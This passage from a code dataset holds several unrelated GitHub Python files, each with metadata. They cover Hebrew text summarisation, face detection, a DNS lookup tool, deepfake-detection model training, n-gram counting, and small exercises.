the elements of this area.\n # 'entry' is the relation_id of the stop_area\n for entry in stop_area_elements:\n elements = stop_area_elements[entry]\n \n for i in range(len(elements) - 1):\n for ii in range(i + 1 , len(elements)):\n \n if elements[i][\"IFOPT\"] == elements[ii][\"IFOPT\"]:\n # skip if two entries with the same DHID are in the same stop_area\n # this should not happen after the platform merging in the stop_places step of the pipeline\n print(f\"WARNING: Two entries with the same DHID ({elements[i]['IFOPT']})! Ignoring ...\")\n continue\n \n json_data = makeRequest(url,payload,elements[i],elements[ii])\n insertPGSQL(cur,json_data[\"routes\"],elements[i],elements[ii])\n \n # generate bidirectional paths:\n # It is questionable if special cases exist, where paths between stops/quays are different\n # and whether it justifies double the path computation with PPR.\n # see the github discussion: https://github.com/OPENER-next/osm2vdv462/pull/1#discussion_r1156836297\n json_data = makeRequest(url,payload,elements[ii],elements[i])\n insertPGSQL(cur,json_data[\"routes\"],elements[ii],elements[i])\n\n conn.commit()\n \n print(\"Finished receiving paths from PPR!\")\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"OPENER-next/osm2vdv462","sub_path":"pipeline/routing/ppr.py","file_name":"ppr.py","file_ext":"py","file_size_in_byte":14070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37084626021","text":"from itertools import chain\nfrom abc import ABC, abstractmethod\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport networkx as nx\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom kneed import KneeLocator\nfrom nltk.tokenize import sent_tokenize\nfrom sentence_transformers import util\nimport matplotlib.pyplot as plt\nfrom pprint import pprint as display\n\nfrom hebrew_ts.models import sentence_model\nfrom hebrew_ts.preprocessing import Preprocessing\n\n\n# Function to read the article and preprocess the sentences if required\ndef read_article(text, preprocess=True): \n sentences = []\n new_sent = [] \n sentences = sent_tokenize(text)\n if preprocess:\n for sentence in sentences:\n processor = Preprocessing(sentence) \n new_sent.append(processor.preprocess())\n return new_sent\n return sentences\n\n# Function to calculate sentence similarity using sentence embeddings\ndef sentence_similarity(sentences_embeddings, top_k=None):\n if top_k is None:\n top_k = len(sentences_embeddings)\n return util.paraphrase_mining_embeddings(torch.tensor(sentences_embeddings), corpus_chunk_size=len(sentences_embeddings), top_k=top_k)\n\n# Function to get sentence embeddings using a specified model\ndef get_sentence_embeddigns(sentences, model=sentence_model):\n embeddings = model.encode(sentences)\n return embeddings\n\n# Function to build a similarity matrix based on sentence similarities\ndef build_similarity_matrix(sentences_similarities):\n all_nodes = set(chain.from_iterable([(i, j) for _, i, j in sentences_similarities]))\n similarity_matrix = np.zeros((len(all_nodes), len(all_nodes)))\n for sentence_similarity_ in sentences_similarities:\n score, idx1, idx2 = sentence_similarity_\n similarity_matrix[idx1][idx2] = score\n return similarity_matrix\n\n# Function to group sentences into clusters\ndef group_to_clusters(clusters, lst):\n clustered_list = [[] for i in set(clusters)]\n for i, cluster in enumerate(clusters):\n clustered_list[cluster].append(lst[i])\n return clustered_list\n\n# Function to find the optimal number of clusters based on the breaking point\ndef find_clusters_by_breaking_point(data_embeddings, visualize=False):\n distortions = []\n inertias = []\n mapping1 = {}\n mapping2 = {}\n cluster_range = range(1, len(data_embeddings)+1)\n \n for k in cluster_range:\n # Building and fitting the model\n kmeanModel = KMeans(init='k-means++', n_clusters=k, random_state=0, n_init='auto').fit(data_embeddings)\n kmeanModel.fit(data_embeddings)\n inertias.append(kmeanModel.inertia_)\n\n if visualize:\n plt.plot(cluster_range, inertias, 'bx-')\n plt.xlabel('Values of K')\n plt.ylabel('Inertias')\n plt.title('The Elbow Method using inertias')\n plt.show()\n\n kneedle = KneeLocator(cluster_range, inertias, S=0.45, curve=\"convex\", direction=\"decreasing\")\n\n if kneedle.knee is None:\n values = sentence_similarity(data_embeddings, top_k=None)\n if min(values)[0] < 0.5:\n return len(data_embeddings)\n else:\n return 1\n\n return int(kneedle.elbow)\n\n# Function to visualize the clusters\ndef visualize_clusters(sentences, sentence_embeddings, clusters):\n # Apply PCA to reduce dimensionality\n pca = PCA()\n reduced_embeddings = pca.fit_transform(sentence_embeddings)\n\n # Plot the clusters\n dim = 1\n if len(sentences) == 1:\n dim = 0\n plt.scatter(reduced_embeddings[:, 0], reduced_embeddings[:, dim], c=clusters, cmap='rainbow')\n\n # Add the sentences color-coded by their respective cluster to the visualization\n num_clusters = len(set(clusters))\n for i, sentence in enumerate(sentences):\n plt.annotate(sentence[::-1], (reduced_embeddings[i, 0], reduced_embeddings[i, dim]),\n color=plt.cm.rainbow(clusters[i] / num_clusters))\n plt.show()\n\n# Function to cluster sentences based on sentence embeddings\ndef cluster_sentences_from_embeddings(sentences, sentence_embeddings, num_clusters=None, visualize=False):\n if len(sentences) == 1:\n clusters = [0]\n num_clusters = 1\n else:\n if num_clusters is None:\n num_clusters = find_clusters_by_breaking_point(sentence_embeddings, visualize=visualize) \n\n kmeans = KMeans(init='k-means++', n_clusters=num_clusters, random_state=0, n_init='auto')\n clusters = kmeans.fit_predict(sentence_embeddings)\n\n # Group sentences into clusters\n clustered_sentences = [[] for i in range(num_clusters)]\n for i, cluster in enumerate(clusters):\n clustered_sentences[cluster].append(sentences[i])\n \n if visualize:\n visualize_clusters(sentences, sentence_embeddings, clusters)\n \n return clustered_sentences, clusters\n\n# Function to cluster sentences based on their content\ndef cluster_sentences(sentences, num_clusters=None, visualize=False):\n sentence_embeddings = get_sentence_embeddigns(sentences)\n clustered_sentences, clusters = cluster_sentences_from_embeddings(sentences, sentence_embeddings, num_clusters, visualize=visualize)\n \n return clusters\n\n# Function to display the sentence similarity graph\ndef display_sentence_simalirity_graph(sentence_similarity_graph):\n plt.figure(3, figsize=(8,8))\n labels = {n: sentence_similarity_graph.edges[n]['weight'] for n in sentence_similarity_graph.edges}\n pos = nx.spring_layout(sentence_similarity_graph)\n pos_higher = {}\n\n for k, v in pos.items():\n if(v[1]>0):\n pos_higher[k] = (v[0], v[1]+0.1)\n else:\n pos_higher[k] = (v[0], v[1]-0.1)\n\n nx.draw(sentence_similarity_graph, with_labels=True, pos=nx.circular_layout(sentence_similarity_graph))\n nx.draw_networkx_edge_labels(sentence_similarity_graph, pos=nx.circular_layout(sentence_similarity_graph), edge_labels=labels)\n plt.show()\n plt.clf()\n\n# Function to apply the TextRank algorithm and generate sentence scores\ndef text_rank(text_embeddings, top_k=None, display_matrix=False, display_graph=False, edge_filter=None):\n if top_k is None:\n top_k = len(text_embeddings)\n sentence_similarities = sentence_similarity(text_embeddings, top_k=top_k)\n similarity_matrix = build_similarity_matrix(sentence_similarities)\n if display_matrix:\n print(similarity_matrix)\n sentence_similarity_graph = nx.from_numpy_array(similarity_matrix)\n if edge_filter is not None:\n drop_n_edges = edge_filter(sentence_similarity_graph.number_of_edges())\n sorted_edges = sorted(sentence_similarity_graph.edges.data('weight'), key=lambda x: x[2])\n edges_to_remove = sorted_edges[:drop_n_edges]\n sentence_similarity_graph.remove_edges_from(edges_to_remove)\n\n is_converged = False\n tolerance = 1e-06\n while not is_converged:\n try:\n scores = nx.pagerank(sentence_similarity_graph, max_iter=len(text_embeddings), tol=tolerance)\n is_converged = True\n except nx.exception.PowerIterationFailedConvergence as e:\n tolerance *= 10\n\n if len(scores) == 0 or len(text_embeddings) == 1:\n scores = {0: 1.0}\n return scores\n\n# Abstract class for elimination strategies\nclass EliminationStrategy(ABC):\n def __init__(self, sentences, scores_dict, top_n_to_leave, clusters=None):\n self.sentences = sentences\n self.scores_dict = scores_dict\n self.top_n_to_leave = top_n_to_leave\n self.clusters = [] if clusters is None else clusters\n self.sentence_dict = {i: sentence for i, sentence in enumerate(self.sentences)}\n\n @property\n @abstractmethod\n def get_n_clusters(self):\n pass\n\n @property\n def grouped_clusters(self):\n clustered_sentence_indices = [set() for s in set(self.clusters)]\n for i, cluster_index in enumerate(self.clusters):\n clustered_sentence_indices[cluster_index].add(i)\n return clustered_sentence_indices\n\n @property\n @abstractmethod\n def elimination_indices(self):\n pass\n\n def eliminate(self, clusters):\n self.clusters = clusters\n for i in self.elimination_indices():\n del self.sentence_dict[i]\n return self.sentence_dict\n\nclass EliminateLowestScoreInCluster(EliminationStrategy):\n def get_n_clusters(self):\n return len(self.sentences) - self.top_n_to_leave\n\n def elimination_indices(self):\n eliminiation_idxs = set()\n for cluster in self.grouped_clusters:\n eliminiation_idxs.add(min(cluster, key=self.scores_dict.get))\n return eliminiation_idxs\n\n\nclass EliminateLowestScoreInCluster(EliminationStrategy):\n def get_n_clusters(self):\n # Returns the number of clusters to keep based on the top_n_to_leave parameter\n return len(self.sentences) - self.top_n_to_leave\n\n def elimination_indices(self):\n eliminiation_idxs = set()\n for cluster in self.grouped_clusters:\n # Find the sentence with the lowest score in each cluster and add its index to the set\n eliminiation_idxs.add(min(cluster, key=self.scores_dict.get))\n return eliminiation_idxs\n\n\nclass EliminateAllButHighestScoreInCluster(EliminationStrategy):\n def get_n_clusters(self):\n # Returns the number of clusters to keep based on the top_n_to_leave parameter\n return self.top_n_to_leave\n\n def elimination_indices(self):\n eliminiation_idxs = set()\n for cluster in self.grouped_clusters:\n # Remove all sentences from each cluster except the one with the highest score\n cluster.remove(max(cluster, key=self.scores_dict.get))\n # Add the indices of the removed sentences to the set\n eliminiation_idxs.update(cluster)\n return eliminiation_idxs\n\ndef generate_summary(text,\n top_n_func=None,\n strategy=None,\n preprocess=True,\n new_line_tok='\\n',\n visualize=False,\n edge_filter=None):\n fixed_paragraphs = []\n # read text and tokenize\n paragraphs = [p for p in text.split(new_line_tok) if p != '' and not p.isspace()]\n for paragraph in paragraphs:\n summarize_text = []\n\n sentences = [s for s in read_article(paragraph, preprocess=preprocess) if s != '' and not s.isspace()]\n\n if len(sentences) <= 2:\n # If there are only one or two sentences, add the first sentence to the result and continue\n fixed_paragraphs.append(sentences[0])\n continue\n sentences = [Preprocessing.remove_dot(s) for s in sentences]\n sentence_embeddings = get_sentence_embeddigns(sentences)\n top_n = None\n if top_n_func is not None:\n # If a top_n_func is provided, calculate the desired number of sentences to keep\n top_n = top_n_func(len(sentences))\n\n # get scores\n sentences_text_rank_dict = text_rank(sentence_embeddings,\n edge_filter=edge_filter,\n display_matrix=visualize,\n display_graph=visualize)\n\n scored_sentences = [(sentence, sentences_text_rank_dict[i]) \\\n for i, sentence in enumerate(sentences)]\n sorted_sentences = sorted(scored_sentences,\n key=lambda x: x[1], reverse=True)\n if visualize:\n # Display the original scores and sentences before filtering\n print('before filtering:')\n top_n_df = pd.DataFrame({'paragraph': [sentence for sentence, _ in sorted_sentences], 'pagerank score': [score for _, score in sorted_sentences]})\n formatted_res_df = top_n_df.style.format(formatter=None).set_table_styles([{'selector': 'th.col_heading', 'props': 'text-align: left;'},\n {'selector': 'th.col_heading.level0', 'props': 'font-size: 1.3em;'},\n {'selector': 'td', 'props': 'text-align: right; vertical-align: top; width: 300px; direction: rtl;'},\n ], overwrite=False)\n display(formatted_res_df)\n\n if strategy is None:\n # If no strategy is provided, use the default strategy (EliminateAllButHighestScoreInCluster)\n strategy = EliminateAllButHighestScoreInCluster\n active_strategy = strategy(sentences,\n scores_dict=sentences_text_rank_dict,\n top_n_to_leave=top_n)\n # remove lowest score from each cluster\n remove_k = None\n if top_n_func is not None:\n # If a top_n_func is provided, determine the number of clusters to create\n remove_k = active_strategy.get_n_clusters()\n\n ## get as many clusters as the sentences to remove\n _, clusters = cluster_sentences_from_embeddings(sentences,\n sentence_embeddings,\n num_clusters=remove_k,\n visualize=visualize)\n #visualize_clusters(sentences, sentence_embeddings, clusters)\n sentence_dict = active_strategy.eliminate(clusters)\n sorted_sentences_top_k = sorted([scored_sentences[i] for i in sentence_dict.keys()], key=lambda x: x[1], reverse=True)\n ranked_sentences_top_k = [sentence for sentence, _ in sorted_sentences_top_k]\n fixed_paragraphs.append(\". \".join(ranked_sentences_top_k) + '.')\n if visualize:\n # Display the filtered scores and sentences\n print('after filtering:')\n top_n_df = pd.DataFrame({'paragraph': ranked_sentences_top_k, 'pagerank score': [score for _, score in sorted_sentences_top_k]})\n formatted_res_df = top_n_df.style.format(formatter = None).set_table_styles([{'selector': 'th.col_heading', 'props': 'text-align: left;'},\n {'selector': 'th.col_heading.level0', 'props': 'font-size: 1.3em;'},\n {'selector': 'td', 'props': 'text-align: right; vertical-align: top; width: 300px; direction: rtl;'},\n ], overwrite=False)\n display(formatted_res_df)\n # output the summarized version\n res = new_line_tok.join(fixed_paragraphs)\n return res","repo_name":"bilbisli/hebrew_text_simplification","sub_path":"ChromePlugin/hebrew_ts/ts_methods/summarization.py","file_name":"summarization.py","file_ext":"py","file_size_in_byte":14723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40093326466","text":"# Face detecting by giving an image as input\nimport cv2\n#import sys\n\nimagePath = \"selena.jpg\"\ncascPath = cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\"\n\n# Creating the haar cascade\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n# Reading the image\nimage = cv2.imread(imagePath)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# Detect faces in the image\nfaces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30)\n #flags = cv2.cv.CV_HAAR_SCALE_IMAGE\n)\n\nprint(\"Found {0} faces!\".format(len(faces)))\n\n# Draw a rectangle around the faces\nfor (x, y, w, h) in faces:\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\ncv2.imshow(\"Faces\", image)\ncv2.waitKey(0)\n","repo_name":"ajinkyagholape1998/Face-Detection","sub_path":"Face Detection/facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"30150502670","text":"import re\n\nfrom hypothesis import given, assume\nfrom hypothesis.strategies import text\n\nfrom reportengine import helputils\n\n@given(text(min_size=1, max_size=1000))\ndef test_sane_wrap(txt):\n assume(txt.strip('\\n'))\n ind = ' '\n w = 70\n res = helputils.sane_fill(txt, initial_indent=ind, width=w)\n assert res.startswith(ind)\n assert re.sub(r'\\s', '', txt) == re.sub(r'\\s', '', res)\n for line in res.splitlines():\n assert line.rfind(' ') < w\n","repo_name":"NNPDF/reportengine","sub_path":"src/reportengine/tests/test_helputils.py","file_name":"test_helputils.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34085033928","text":"import re\nimport socket\nfrom dns import resolver, reversename\n\n\nclass UsageError(Exception):\n ''' Exception used to detect an invalid usage error. '''\n\n pass\n\n\nclass Digx(object):\n ''' Below you can find all the logic behind \"digx\" command. '''\n\n RETVAL_ERROR_USAGE = 1\n\n def __init__(self):\n self.retrieve_name = False\n self.retrieve_mail = False\n self.retrieve_text = False\n self.retrieve_serv = False\n self.lookup_domain = ''\n\n # override default settings\n self.resolver = resolver.Resolver()\n\n def run(self, args):\n ''' Parse command arguments and execute as desired. '''\n\n self.parse_args(args)\n self.do_lookup()\n\n def query(self, *args, **kwargs):\n ''' Perform and cleanup DNS queries. '''\n\n hosts = []\n\n try:\n query = self.resolver.query(*args)\n for rdata in query.response.answer:\n if kwargs.get('fqdn'):\n hosts.append(str(rdata.name).rstrip('.'))\n else:\n for item in rdata.items:\n hosts.append(str(item).rstrip('.'))\n except resolver.NXDOMAIN:\n pass\n\n return hosts\n\n def display_usage(self):\n ''' Display the correct \"digx\" usage. @TODO '''\n\n print('%s usage: @TODO' % self.__class__.__name__.lower())\n\n def parse_args(self, args):\n '''Parse the command line arguments and turn them into variables. '''\n\n # retrieve domain name entries\n if 'ns' in args or 'name' in args:\n self.retrieve_name = True\n args.remove('ns')\n\n # retrieve domain mail entries\n if 'mx' in args or 'mail' in args:\n self.retrieve_mail = True\n args.remove('mx')\n\n # retrieve domain text entries\n if 'txt' in args or 'text' in args:\n self.retrieve_text = True\n args.remove('txt')\n\n # use specific nameserver if given\n nameserver = None\n for arg in args:\n if arg.startswith('@'):\n nameserver = arg[1:]\n break\n if nameserver:\n print('rsvr: %s' % nameserver)\n print('--')\n try:\n socket.inet_aton(nameserver)\n except socket.error:\n nameserver = self.query(nameserver, 'a')[0]\n self.resolver.nameservers = [nameserver]\n\n # empty and/or missing arguments\n if not args:\n raise UsageError('empty and/or missing arguments.')\n\n # extract domain if it's an URL\n domain = re.sub('^https?://([^/]*).*$', '\\\\1', args[0])\n self.lookup_domain = domain\n\n def do_lookup(self):\n ''' Execute the lookups based on the variales of \"parse_args\". '''\n\n hosts = []\n addrs = []\n rdnss = []\n try:\n # confirm that lookup_domain is a valid IP address or except...\n socket.inet_aton(self.lookup_domain)\n addrs = [self.lookup_domain]\n rdnss = self.query(\n reversename.from_address(self.lookup_domain), 'ptr')\n except socket.error:\n # lookup sequence of all domain names\n hosts = self.query(self.lookup_domain, fqdn=True)\n\n # lookup all final addresses and its reverse dns\n if hosts:\n for value in self.query(hosts[-1], 'a'):\n addrs.append(value)\n rdnss.extend(\n self.query(reversename.from_address(value), 'ptr'))\n\n # do retrieve domain name entries\n if hosts and self.retrieve_name:\n for value in self.query(hosts[-1], 'ns'):\n print('name: %s' % value)\n print('--')\n\n # do retrieve domain mail entries\n if hosts and self.retrieve_mail:\n for value in self.query(hosts[-1], 'mx'):\n print('mail: %s' % value.split(' ')[1])\n print('--')\n\n # do retrieve domain text entries\n if hosts and self.retrieve_text:\n for value in self.query(hosts[-1], 'txt'):\n print('text: %s' % value)\n print('--')\n\n # print hosts, address and reverse dns\n for host in hosts:\n print('host: %s' % (host))\n print('host: %s' % ', '.join(addrs))\n print('--')\n print('rdns: %s' % ', '.join(rdnss))\n\n\ndef cli():\n import sys\n\n digx = Digx() # pylint: disable=C0103\n\n try:\n sys.exit(digx.run(sys.argv[1:]))\n except UsageError as ex:\n digx.display_usage()\n sys.exit(digx.RETVAL_ERROR_USAGE)\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"arthurfurlan/digx","sub_path":"digx/digx.py","file_name":"digx.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"1867474209","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nimport os\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n# from Utils.errors import *\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torch.optim as optim\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.utils.tensorboard import SummaryWriter\n\nwriter = SummaryWriter('runs/lipspeech-2')\n\n# %%\nlabelmap = {'real': 0, 'fake': 1}\n\n\n# %%\nds_path = '/home/itdfh/data/dfdc-subset/train-6-deepspeech'\nln_path = '/home/itdfh/data/dfdc-subset/train-6-lipnet'\n\n\n# %%\ndef tensor_file_lists(ds_path, ln_path, max_files=None, perc=.9):\n\n ds_files_train, ln_files_train = [], []\n ds_files_val, ln_files_val = [], []\n\n for label in ['real', 'fake']:\n train_files = []\n\n val_files = []\n\n all_files = os.listdir(os.path.join(ds_path, label))\n\n for i, p in enumerate(all_files):\n base_dir = os.path.join(label, p)\n full_base_dir = os.path.join(ds_path, base_dir)\n if i < len(all_files) * .9:\n train_files.extend([os.path.join(base_dir, p)\n for p in os.listdir(full_base_dir)])\n else:\n val_files.extend([os.path.join(base_dir, p)\n for p in os.listdir(full_base_dir)])\n\n ds_files_train.extend([(os.path.join(ds_path, p[:-5]+'50.pt'), labelmap[label])\n for p in train_files if p[-5:] == '50.pt'])\n ln_files_train.extend([(os.path.join(ln_path, p[:-5]+'30.pt'), labelmap[label])\n for p in train_files if p[-5:] == '50.pt'])\n\n ds_files_val.extend([(os.path.join(ds_path, p[:-5]+'50.pt'), labelmap[label])\n for p in val_files if p[-5:] == '50.pt'])\n ln_files_val.extend([(os.path.join(ln_path, p[:-5]+'30.pt'), labelmap[label])\n for p in val_files if p[-5:] == '50.pt'])\n\n return ds_files_train, ln_files_train, ds_files_val, ln_files_val\n\n\n# %%\nds_files_train, ln_files_train, ds_files_val, ln_files_val = tensor_file_lists(\n ds_path, ln_path)\n\nclean_ln_files_train = [ln_files_train[i] for i, (f, label) in enumerate(\n ln_files_train) if os.path.exists(f)]\nclean_ds_files_train = [ds_files_train[i] for i, (f, label) in enumerate(\n ln_files_train) if os.path.exists(f)]\nclean_ln_files_val = [ln_files_val[i]\n for i, (f, label) in enumerate(ln_files_val) if os.path.exists(f)]\nclean_ds_files_val = [ds_files_val[i]\n for i, (f, label) in enumerate(ln_files_val) if os.path.exists(f)]\nln_files_train = clean_ln_files_train\nds_files_train = clean_ds_files_train\nln_files_val = clean_ln_files_val\nds_files_val = clean_ds_files_val\n\n# %%\n\nprint(sum([1 for a in ln_files_val if a[1] == 1]))\n\n\nclass LipSpeechDataset(Dataset):\n '''\n LipSpeech data set for concatenating lntionNet Features and dstrogram features\n '''\n\n def __init__(self, ds_files, ln_files, seq_size=24, max_ds_size=700):\n \"\"\"\n Args:\n DeepSpeech (string): Path to the csv file with annotations.\n LipNet (string): Directory with all the images.\n \"\"\"\n self.max_ds_size = max_ds_size\n self.seq_size = seq_size\n\n self.ds_files, self.ln_files = ds_files, ln_files\n\n def __len__(self):\n return len(self.ds_files)\n\n def __getitem__(self, idx):\n dsf, label = self.ds_files[idx]\n lnf, label = self.ln_files[idx]\n\n ds_feats = torch.load(dsf).transpose(0, 1)\n ln_feats = torch.load(lnf).transpose(0, 1)\n\n label = torch.tensor(label).long()\n\n return ds_feats, ln_feats, label\n\n\n# %%\ntrainset = LipSpeechDataset(ds_files_train, ln_files_train, max_ds_size=0)\nvalset = LipSpeechDataset(ds_files_val, ln_files_val, max_ds_size=0)\n\n\nclass LSTMFC(nn.Module):\n def __init__(self, input_dim, out_dim, hidden_dim=1024, num_layers=2, device='cuda'):\n super(LSTMFC, self).__init__()\n\n self.device = device\n\n self.num_layers = num_layers\n self.hidden_dim = hidden_dim\n\n self.lstm = nn.LSTM(input_dim, hidden_dim,\n batch_first=True, num_layers=num_layers)\n # fully connected\n self.fc = nn.Linear(hidden_dim, out_dim)\n self.act = nn.ReLU()\n\n def forward(self, x, hidden):\n y, _ = self.lstm(x, hidden)\n print(y.shape)\n y = y[:, -1, :]\n y = self.fc(y)\n y = self.act(y)\n\n return y\n\n def init_hidden(self, batch_size):\n weight = next(self.parameters()).data\n hidden = (weight.new(self.num_layers, batch_size, self.hidden_dim).zero_().to(self.device),\n weight.new(self.num_layers, batch_size, self.hidden_dim).zero_().to(self.device))\n return hidden\n\n\nclass LipSpeechNet(nn.Module):\n def __init__(self, out_dim=2, hidden_dim=1024, device='cuda'):\n super(LipSpeechNet, self).__init__()\n\n self.device = device\n\n self.lstmfc_ds = LSTMFC(\n 1024, hidden_dim, hidden_dim, device=self.device)\n self.lstmfc_ln = LSTMFC(\n 512, hidden_dim, hidden_dim, device=self.device)\n\n # fully connected\n self.fc1 = nn.Linear(hidden_dim * 2, hidden_dim)\n self.act = nn.ReLU()\n\n self.fc2 = nn.Linear(hidden_dim, out_dim)\n self.softmax = nn.Softmax(dim=1)\n\n def init_hidden(self, batch_size):\n return self.lstmfc_ds.init_hidden(batch_size), self.lstmfc_ln.init_hidden(batch_size)\n\n def forward(self, x_ds, x_ln, hidden_ds, hidden_ln):\n y_ds, _ = self.lstmfc_ds(x_ds, hidden_ds)\n y_ln, _ = self.lstmfc_ln(x_ln, hidden_ln)\n y = torch.cat((y_ds, y_ln), 1)\n\n y = self.fc1(y)\n y = self.act(y)\n\n y = self.fc2(y)\n y = self.softmax(y)\n\n return y\n\n\nmodel = LipSpeechNet().cuda()\n\n\ndef train(model, trainset, loss_function, optimizer, valset=None, epochs=1000, batch_size=50, device='cuda'):\n global writer\n epsilon = 1e-6\n\n model = model.to(device)\n trainloader = DataLoader(trainset, shuffle=True,\n batch_size=batch_size, drop_last=True)\n\n if valset is not None:\n valloader = DataLoader(valset, shuffle=True,\n batch_size=batch_size, drop_last=True)\n\n print_every = 50\n i = 0\n losses = []\n accs = []\n\n vaccs = []\n vlosses = []\n\n running_loss = 0.0\n running_acc = 0.0\n\n for epoch in range(epochs):\n for x_ds, x_ln, labels in trainloader:\n hidden_ds, hidden_ln = model.init_hidden(batch_size=batch_size)\n # Step 1. Remember that Pytorch accumulates gradients.\n # We need to clear them out before each instance\n x_ds = x_ds[:, 0].float().to(device)\n x_ln = x_ln[:, 0].float().to(device)\n\n labels = labels.to(device)\n\n optimizer.zero_grad()\n\n # Step 2. Run our forward pass.\n out = model(x_ds, x_ln, hidden_ds, hidden_ln)\n # out = out.add(epsilon)\n\n # Step 3. Compute the loss, gradients, and update the parameters by\n # calling optimizer.step()\n loss = loss_function(out, labels)\n torch.nn.utils.clip_grad_norm_(model.parameters(), 0.5)\n loss.backward()\n optimizer.step()\n\n running_acc += torch.mean((out.argmax(dim=1)\n == labels).float()).item()\n\n # print statistics\n running_loss += loss.item()\n if i % print_every == print_every-1:\n print('[%d, %5d] loss: %.3f - acc: %.3f' %\n (epoch + 1, i + 1, running_loss / print_every, running_acc * 100 / print_every))\n\n writer.add_scalar('train/loss', running_loss / print_every, i)\n writer.add_scalar('train/acc', running_acc *\n 100 / print_every, i)\n\n losses.append(running_loss / print_every)\n accs.append(running_acc * 100 / print_every)\n\n running_loss = 0.0\n running_acc = 0.0\n i += 1\n\n if valset is not None:\n with torch.no_grad():\n val_accs, val_losses = [], []\n for x_ds, x_ln, labels in valloader:\n x_ds = x_ds[:, 0].float().to(device)\n x_ln = x_ln[:, 0].float().to(device)\n labels = labels.to(device)\n\n out, hidden_ds, hidden_ln = model(\n x_ds, x_ln, hidden_ds, hidden_ln)\n loss = loss_function(out, labels)\n\n val_accs.append(torch.mean((out.argmax(dim=1)\n == labels).float()).item())\n val_losses.append(loss)\n\n val_accs = torch.mean(torch.tensor(val_accs))\n val_losses = torch.mean(torch.tensor(val_losses))\n\n writer.add_scalar('val/loss', val_accs * 100, epoch)\n writer.add_scalar('val/acc', val_losses, epoch)\n\n vaccs.append(val_accs)\n vlosses.append(val_losses)\n\n return losses, accs, vlosses, vaccs\n\n\nloss_function = model.cuda()\noptimizer = optim.Adam(model.parameters(), lr=1e-5)\ntrain(model, trainset, loss_function, optimizer,\n epochs=1000, batch_size=10, valset=valset)\n","repo_name":"jklewis99/MultimodalDeepfakeDetection","sub_path":"lipspeech_train.py","file_name":"lipspeech_train.py","file_ext":"py","file_size_in_byte":9507,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"19957888299","text":"import nltk, collections\nfrom nltk.util import ngrams\nfrom nltk.collocations import BigramCollocationFinder\nfrom nltk.metrics import BigramAssocMeasures\n\n\ndef ngram_probs(filename='raw_sentences.txt'):\n f = open(filename,'r')\n content = f.read()\n text = content.lower()\n #tokensize = nltk.word_tokenize(text)\n tokensize = text.split()\n\n bigrams = ngrams(tokensize,2)\n bigramfreq = collections.Counter(bigrams)\n tigrams = ngrams(tokensize,3)\n tigramfreq = collections.Counter(tigrams)\n return bigramfreq, tigramfreq\n \n \n\n\nif __name__ == '__main__':\n cnt2, cnt3= ngram_probs()\n print(cnt2, cnt3)\n # print(cnt2.most_common(10))\n# finder = BigramCollocationFinder.from_words(text)\n\n\n# print(finder.nbest(BigramAssocMeasures.likelihood_ratio,20))\n\n# print(text)","repo_name":"Chung-Yi/gliacloud","sub_path":"Q2-1.py","file_name":"Q2-1.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23014645678","text":"class ArraySetOperations:\n def bubbleSort(self, items, length):\n i = 0\n while i < length:\n j = 0\n while j < length - 1 - i:\n if items[j] > items[j + 1]:\n items[j + 1] = items[j] + items[j + 1]\n items[j] = items[j + 1] - items[j]\n items[j + 1] = items[j + 1] - items[j]\n j += 1\n i += 1\n\n def union(self, array1, array2, length1, length2):\n union_value = []\n handled = {}\n\n i = 0\n j = 0\n\n while i < length1 and j < length2:\n if array1[i] < array2[j]:\n value = array1[i]\n if value not in handled:\n union_value.append(array1[i])\n handled[value] = True\n i += 1\n elif array2[j] < array1[i]:\n value = array2[j]\n if value not in handled:\n union_value.append(array2[j])\n handled[value] = True\n j += 1\n else:\n value = array1[i]\n if value not in handled:\n union_value.append(array1[i])\n handled[value] = True\n i += 1\n j += 1\n\n while i < length1:\n union_value.append(array1[i])\n i += 1\n\n while j < length2:\n union_value.append(array2[j])\n j += 1\n\n return union_value\n \nif __name__ == '__main__':\n arrayOps = ArraySetOperations()\n array1 = str(input('Enter first list of values(separated by comma) = ')).split(',')\n array1 = list(map(int, array1))\n array2 = str(input('Enter second list of values(separated by comma) = ')).split(',')\n array2 = list(map(int, array2))\n length1 = len(array1)\n length2 = len(array2)\n # let us sort both the lists\n arrayOps.bubbleSort(array1, length1)\n arrayOps.bubbleSort(array2, length2)\n\n print('Union of two sets is : {}'.format(arrayOps.union(array1, array2, length1, length2)))\n","repo_name":"luthraG/ds-algo-war","sub_path":"general-practice/10_09_2019/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71257971306","text":"from datetime import time\r\n\r\nfrom Domain.Flight import Flight\r\n\r\n\r\nclass ConsoleUI:\r\n def __init__(self, flight_service):\r\n self.__flight_service = flight_service\r\n\r\n\r\n @property\r\n def flight_service(self):\r\n return 